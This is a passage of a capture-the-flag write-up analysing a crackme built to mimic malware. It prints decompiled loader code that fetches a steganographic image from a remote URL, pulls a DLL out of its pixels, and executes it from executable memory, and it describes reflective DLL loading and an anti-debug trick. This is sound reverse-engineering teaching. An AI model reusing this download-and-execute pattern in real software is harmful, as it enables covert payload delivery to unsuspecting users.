                <span style="color: blue;">return </span><span style="color: red;">0</span>
            user32_dll.MessageBoxA(<span style="color: blue;">None</span>, <span style="color: #666666;">'See you later!'</span>, <span style="color: #666666;">'Game over'</span>, <span style="color: red;">0</span>)
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span>'Error decoding the flag'
        <span style="color: blue;">return</span></pre>
</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">stage1_login</span>():
    show_banner()
    <span style="color: blue;">print </span>colorama.Style.BRIGHT + colorama.Fore.CYAN
    <span style="color: blue;">print </span><span style="color: #666666;">'Level #1: log in to the system!'</span>
    <span style="color: blue;">print </span>colorama.Style.RESET_ALL
    login = raw_input('login: ')
    password = getpass.getpass()
    <span style="color: blue;">if not </span>(<span style="color: red;">check_login</span>(login) <span style="color: blue;">and </span><span style="color: red;">check_password</span>(password)):
        <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. Wrong combination username/password'</span>
        <span style="color: blue;">return </span>None
    <span style="color: blue;">else</span>:
        PIN = raw_input('PIN: ')
        <span style="color: blue;">try</span>:
            key = <span style="color: red;">get_url_key</span>(int(PIN))
        <span style="color: blue;">except</span>:
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">if not </span><span style="color: red;">check_key</span>(key):
            <span style="color: blue;">print </span><span style="color: #666666;">'Login failed. The PIN is incorrect'</span>
            <span style="color: blue;">return None</span>
        <span style="color: blue;">return </span>key</pre>
</div>
<p>Three user inputs are successively checked: the user’s <b>login</b>, <b>password </b>and <b>PIN </b>code.</p>
<h3>Finding the login</h3>
<div style="text-align: justify;">The check_login() function&#8217;s code is completely transparent :</div>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_login</span>(login):
    <span style="color: blue;">if </span>login == <span style="color: red;">'hackerman'</span>:
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>We have found the login, let&#8217;s search for the password.</p>
<figure id="post-15599 media-15599" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15599 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg" alt="" width="320" height="180" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I8-69x39.jpg 69w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Expected login</span></i></div>
<div class="separator" style="clear: both; text-align: left;"></div>
</div>
<h3>Finding the password</h3>
<p>The <b>check_password</b>() function hashes user’s input using the <b>MD5 </b>hash function, and compares the result with an hardcoded string:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_password</span>(password):
    my_md5 = hashlib.md5(password).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
        <span style="color: blue;">return True</span>
    <span style="color: blue;">return False</span></pre>
</div>
<p>A quick Internet search of this string gives us the corresponding cleartext password: <b>Password123</b>.</p>
<figure id="post-15601 media-15601" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15601 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png" alt="" width="640" height="240" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I9-71x27.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Finding the password on a search engine</span></i></div>
<h3>Finding the PIN code</h3>
<p>The PIN code is read from standard input, converted into an<b> integer</b> (cf. stage1_login()<b> </b>function), and passed to the <b>get_url_key() </b>function:</p>
<div style="text-align: justify;"></div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def</span> <span style="color: magenta;">get_url_key</span>(my_seed):
    random.seed(my_seed)
    key = ‘’
    <span style="color: blue;">for </span>I <span style="color: blue;">in </span>xrange(0, 32):
        id = random.randint(0, 9)
        key += str(id)
    <span style="color: blue;">return </span>key</pre>
</div>
<p>This function derives a<b> pseudo-random 32 digits</b> key from the PIN code, using it as a <b>seed </b>for Python’s PRNG. The generated key is then verified using the <b>check_key()</b> function, where its MD5 sum is checked against another hardcoded value.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">check_key</span>(key):
    my_md5 = hashlib.md5(key).hexdigest()
    <span style="color: blue;">if </span>my_md5 == '<span style="color: red;">fb4b322c518e9f6a52af906e32aee955</span>':
        <span style="color: blue;">return </span>True
    <span style="color: blue;">return </span>False</pre>
</div>
<p>The key space is obviously <b>too large to be brute-forced</b>, as a 32-digits string corresponds to 10^32 (~2^106) possible combinations. However, <b>we can brute-force the PIN</b> code, being an integer, using the following code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">from </span>another <span style="color: blue;">import </span>get_url_key, check_key
PIN = 0
<span style="color: blue;">while True</span>:
    key = get_url_key(PIN)
    <span style="color: blue;">if </span>check_key(key):
        <span style="color: blue;">print </span>PIN
        <span style="color: blue;">break</span>
    PIN += 1</pre>
</div>
<p>The solution is obtained in a few milliseconds:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python bruteforcePIN.py
9667</pre>
</div>
<h3>Testing credentials</h3>
<p>Using the credentials found in the previous step completes the first stage of the challenge.</p>
<figure id="post-15603 media-15603" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15603 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png" alt="" width="400" height="148" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I10-71x26.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Validating stage 1</span></i></div>
<p>Clicking “Yes” makes the executable pause after printing the following message in the console:</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15605 media-15605" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15605 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png" alt="" width="320" height="96" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I11-71x21.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Waiting for us to find a &#8220;secret console&#8221;</span></i></div>
<p>Let’s find that secret console!</p>
<h1>Stage 2: the secret console</h1>
<h3>Payload download and decoding</h3>
<p>Continuing our analysis of the main() function, the next function to be called after credentials verification is <b>decode_and_fetch_url()</b>, with the previously calculated 32-digits key given as argument:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">decode_and_fetch_url</span>(key):
    <span style="color: blue;">try</span>:
        encrypted_url = <span style="color: #444444;">'\xa6\xfa\x8fO\xba\x7f\x9d\[...]\xfe'</span>
        aes = AESCipher(bytearray(key))
        output = aes.decrypt(encrypted_url)
        full_url = output
        content = fetch_url(full_url)
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return None</span>
    <span style="color: blue;">return </span>content</pre>
</div>
<p>A URL is decrypted using an <b>AES </b>cipher and the 32-digits key. The resource at this URL is then downloaded and its content returned by the function.<br />
To get the decrypted URL, we simply add some <b>logging</b> instructions to the original code of another.py, which can be run independently of mb_crackme_2.exe (given that the required dependencies are present on our machine).</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
        full_url = output
        print "DEBUG : URL fetched is : %s " % full_url #added from original code
        content = fetch_url(full_url)
[...]</pre>
</div>
<p>The result execution is the following:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>login: hackerman
Password:
PIN: 9667
<span style="color: red;">DEBUG : URL fetched is : https://i.imgur.com/dTHXed7.png</span></pre>
</div>
<p>The decrypted URL hosts the PNG image displayed bellow:</p>
<figure id="post-15607 media-15607" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15607 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png" alt="" width="267" height="267" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12.png 267w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-191x191.png 191w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-39x39.png 39w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-32x32.png 32w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-64x64.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-96x96.png 96w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-128x128.png 128w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-70x70.png 70w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-175x175.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-130x130.png 130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-115x115.png 115w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I12-30x30.png 30w" sizes="auto, (max-width: 267px) 100vw, 267px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Image downloaded by the executable</span></i></div>
<p>The “malware” then reads the <b>Red, Green and Blue components of each of the image’s pixels</b>, interprets them as <b>bytes </b>and constructs a buffer from their concatenation.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">get_encoded_data</span>(bytes):
    imo = Image.open(io.BytesIO(bytes))
    rawdata = list(imo.getdata())
    tsdata <span style="color: blue;">= </span>''
    <span style="color: blue;">for </span>x <span style="color: blue;">in </span>rawdata:
        <span style="color: blue;">for </span>z <span style="color: blue;">in </span>x:
            tsdata += chr(z)
    <span style="color: blue;">del </span>rawdata
    <span style="color: blue;">return </span>tsdata</pre>
<pre></pre>
</div>
<p>This technique is sometimes used by real malware to download malicious code <b>without raising suspicion of traffic-analysis tools</b>, hiding the real nature of the downloaded resource.<br />
Using the “Extract data…” function of the <b>Stegsolve</b> tool  allows to quickly preview the data encoded in the image, which appears to be a PE file (and more specifically, a DLL):</p>
<figure id="post-15609 media-15609" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15609 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png" alt="" width="640" height="494" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-51x39.png 51w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I13-155x120.png 155w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Output of the stegsolve tool</span></i></div>
<p>The function <b>is_valid_payl()</b> is then used to check whether the decoded payload is correct:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">is_valid_payl</span>(content):
    <span style="color: blue;">if </span>get_word(content) != <span style="color: red;">23117</span>:
        <span style="color: blue;">return False</span>
    next_offset = get_dword(content[<span style="color: red;">60</span>:])
    next_hdr = content[next_offset:]
    <span style="color: blue;">if </span>get_dword(next_hdr) != <span style="color: red;">17744</span>:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">return True</span></pre>
</div>
<p>The<b> 23117 and 17744</b> constants represent the “MZ” and “PE” magic bytes present in the headers of a PE.</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>&gt;&gt;&gt; import struct
&gt;&gt;&gt; struct.pack("&lt;H", 23117)
'MZ'
&gt;&gt;&gt; struct.pack("&lt;H", 17744)
'PE'</pre>
</div>
<p>The decoded file is then passed to the<b> load_level2()</b> function, which is a wrapper around <b>prepare_stage()</b>.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">load_level2</span>(rawbytes, bytesread):
    <span style="color: blue;">try</span>:
        <span style="color: blue;">if </span>prepare_stage(rawbytes, bytesread):
            <span style="color: blue;">return True</span>
    <span style="color: blue;">except</span>:
        <span style="color: blue;">return False</span></pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        <span style="color: blue;">return False</span>
    <span style="color: blue;">res </span>= memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return False</span>
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>This function starts by allocating enough space to store the downloaded code, using the VirtualAlloc API function call. The allocated space is <b>readable, writable and executable</b>, as the provided arguments reveal (12288 being equal to “MEM_COMMIT | MEM_RESERVE”, and 64 to PAGE_EXECUTE_READWRITE).<br />
The downloaded code is then written in the allocated space using the memmove function, and executed like a shellcode from offset 2.</p>
<p>To get a clean dump of the downloaded code (once decrypted), we <b>add a piece of code in the prepare_stage()</b> function, as follows:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="color: blue;">def </span><span style="color: magenta;">prepare_stage</span>(content, content_size):
    <span style="color: blue;">with </span>open("dumped_pe.dll", "wb") as f:
        f.write(content[:content_size])
        print "DEBUG : File dumped in dumped_pe.dll"
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    <span style="color: blue;">if </span>virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    <span style="color: blue;">if </span>res == 0:
        <span style="color: blue;">return </span>False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    <span style="color: blue;">return True</span></pre>
</div>
<p>After re-executing the program, we observe that the obtained file is indeed a valid 32 bits Windows DLL:</p>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ file dumped_pe.dll
dumped_file.ext: PE32 executable (DLL) (console) Intel 80386, for MS Windows</pre>
</div>
<p>Time for us to open our favorite disassembler !</p>
<h2>Downloaded DLL’s reverse-engineering</h2>
<p><b>Reflective loading</b><br />
From the offset 2 of the file, a little shellcode located in the DOS headers<b> transfers the execution</b> to another code that implements <b>Reflective DLL injection</b>. This technique is used to load the library itself from memory, instead of normally loading the DLL from disk using the LoadLibrary API call.<br />
&nbsp;</p>
<figure id="post-15611 media-15611" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15611 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png" alt="" width="640" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-437x81.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I14-71x13.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Disassembly of the first bytes of the downloaded DLL</span></i></div>
<p>The reflective loader’s code, located at 0x6E0, is documented in Stephen Fewer’s GitHub  and will not be described in this write-up. Since, in the end, the library is loaded by this mechanism as it would be after a normal LoadLibrary call, this downloaded file will be analyzed like a standard DLL in the rest of this write-up.</p>
<p>The list of exported functions being empty (except for the DllEntryPoint function), we start our analysis at the <b>entry point of the DLL</b>.</p>
<figure id="post-15613 media-15613" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15613 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png" alt="" width="400" height="43" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I15-71x8.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Exports list</i></span></div>
<p><b>Entry point</b><br />
Our first goal is to search for the <b>DllMain()</b> function from the entry point. If the reverser is not used to analyzing Windows DLLs, a simple way to start would be to open any random non-stripped 32bit DLL, which (with a little luck) would be compiled with the same compiler (Visual C++ ~7.10 here), and which would have a similar CFG structure for the DllEntryPoint function.<br />
An example of CFG comparisons between the analyzed DLL (left) and another non-stripped 32bit DLL (right) is presented below:<br />
&nbsp;</p>
<figure id="post-15615 media-15615" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15615 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png" alt="" width="640" height="298" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-410x191.png 410w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I16-71x33.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /><i></i></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DLLEntryPoints in our DLL v/s another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<figure id="post-15617 media-15617" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15617 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png" alt="" width="640" height="451" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I17-55x39.png 55w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div style="text-align: center;"><i><span style="font-size: x-small;">DllMainCTRStartup in our DLL / in another non-stripped DLL</span></i></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>This technique allows us to quickly find the DllMain function in our DLL, here being located at 0x10001170.<br />
<b>DllMain (0x10001170)</b><br />
The function starts by checking if it has been called during the first load of the DLL by a process, by comparing the value of the fdwReason argument  against the DLL_PROCESS_ATTACH constant.<br />
The DllMain() function then <b>registers two exception handlers</b> using the AddVectoredExceptionHandler  API call. The handlers are named <b>“Handler_0” and “Handler_1”</b> in the screenshot below:</p>
<figure id="post-15619 media-15619" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15619 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png" alt="" width="640" height="453" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-270x191.png 270w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I18-345x245.png 345w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>DllMain function</i></span></div>
<p>An exception is then manually raised using the “int 3” interruption instruction, triggering the execution of Handler_0.<br />
<b>Interlude: debugging a DLL in IDA Pro</b><br />
To make the reverse-engineering of some functions easier, debugging the code to observe function inputs and outputs can be an effective method.<br />
One simple way to <b>debug a DLL inside IDA </b>is to load the file as usual, then go to “Debugger -&gt;Process options&#8230;” and modify the following value:</p>
<ul>
<li>Application:
<ul>
<li> On a 64 bits version of Windows:
<ul>
<li>  “C:\Windows\SysWOW64\rundll32.exe” to debug a 32 bits library</li>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 64 bits library</li>
</ul>
</li>
<li> On a 32 bits version of Windows:
<ul>
<li>  “C:\Windows\System32\rundll32.exe” to debug a 32 bits library</li>
<li>  Obviously, you cannot run (therefore debug) a 64 bits library on a 32 bits version of Windows</li>
</ul>
</li>
</ul>
</li>
<li> Parameters:
<ul>
<li>  “PATH_OF_YOUR_DLL”,functionToCall [function parameters if any]</li>
</ul>
</li>
</ul>
<p>Note: The file extension <b>must be “*.dll” </b>for rundll32.exe to accept it.</p>
<figure id="post-15621 media-15621" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15621 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png" alt="" width="320" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I19-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>IDA &#8220;Process options&#8230;&#8221; menu</i></span></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>To test the configuration, just place a <b>breakpoint </b>at the entry point of the DLL:</p>
<figure id="post-15623 media-15623" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15623 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png" alt="" width="640" height="353" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-346x191.png 346w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I20-71x39.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Placing a breakpoint on the entry point</i></span></div>
<p>Run your debugger (F9). If configured correctly, your debugger should break at the DLL entry point, allowing you to debug any DLL function</p>
<p><b>Handler_0 (0x10001260)</b><br />
Looking at Handler_0’s CFG (given below), we see that the function calls <b>two unknown functions </b>(0x100092C0 and 0x1000E61D). To quickly identify these functions, let’s debug the DLL, and look at the functions inputs/outputs:</p>
<p><u>sub_100092C0</u></p>
<figure id="post-15625 media-15625" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15625 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png" alt="" width="178" height="91" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21.png 178w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I21-71x36.png 71w" sizes="auto, (max-width: 178px) 100vw, 178px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Function sub_100092C0() call</span></i></div>
<p>The function seems to take 3 arguments:</p>
<ul>
<li>A buffer (here named “Value”);</li>
<li>A value (here 0);</li>
<li>The size of the buffer (here 0x104).</li>
</ul>
<p>Let&#8217;s look at the buffer’s content <b>before and after the function call</b>:</p>
<figure id="post-15627 media-15627" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15627 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png" alt="" width="320" height="134" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I22-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>&#8220;Value&#8221; buffer before and after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>memset </b>function.<u><br />
</u><br />
<u>sub_1000E61D</u></p>
<figure id="post-15629 media-15629" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15629 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png" alt="" width="207" height="110" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23.png 207w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I23-71x39.png 71w" sizes="auto, (max-width: 207px) 100vw, 207px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Function sub_1000E61D() call</i></span></div>
<p>The function seems to take 4 arguments:</p>
<ul>
<li>An <b>integer </b>(here the PID of the process);</li>
<li>A <b>buffer </b>(here named “Value”);</li>
<li>The <b>size of the buffer</b> (here 0x104);</li>
<li>A <b>value </b>(here 0xA, or 10).</li>
</ul>
<p>Looking at the provided buffer’s content after the function call, we see that the representation in base 10 of the first integer passed in parameter is written in the provided buffer.</p>
<figure id="post-15631 media-15631" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15631 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png" alt="" width="214" height="168" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24.png 214w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I24-156x121.png 156w" sizes="auto, (max-width: 214px) 100vw, 214px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Value buffer after the call</i></span></div>
<p>The function prototype and its side effects correspond to the <b>_itoa_s</b> function .</p>
<p><u>Handler_0 whole CFG and pseudo-code</u><br />
Here is the graph of the Handler_0 function:</p>
<figure id="post-15633 media-15633" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15633 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png" alt="" width="400" height="365" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-209x191.png 209w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25-43x39.png 43w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15633 media-15633" class="align-none">
<figure id="post-15675 media-15675" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15675 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png" alt="" width="400" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-300x191.png 300w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I25bis-61x39.png 61w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</figure>
</figure>
<figure id="post-15635 media-15635" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of function Handler_0()</i></span></div>
<p>This corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if isloaded(“python.dll”):
   pid = getpid()
else:
   pid = 0
setEnvironmentVariable(“mb_chall”, str(pid))
return EXCEPTION_CONTINUE_SEARCH</pre>
</div>
<p>The function<b> checks the presence of the python27.dll</b> library (normally loaded by the main program mb_crackme_2.exe) in the process address space, and sets the <b>“mb_chall” environment variable </b>consequently.<br />
This may be seen as an “anti-debug” trick, because running the DLL independently in a debugger makes the execution follow a different path.</p>
<p><b>Handler_1 (0x100011D0)</b><br />
The code of this handler is quite self-explanatory, being similar to the previous handler’s code:</p>
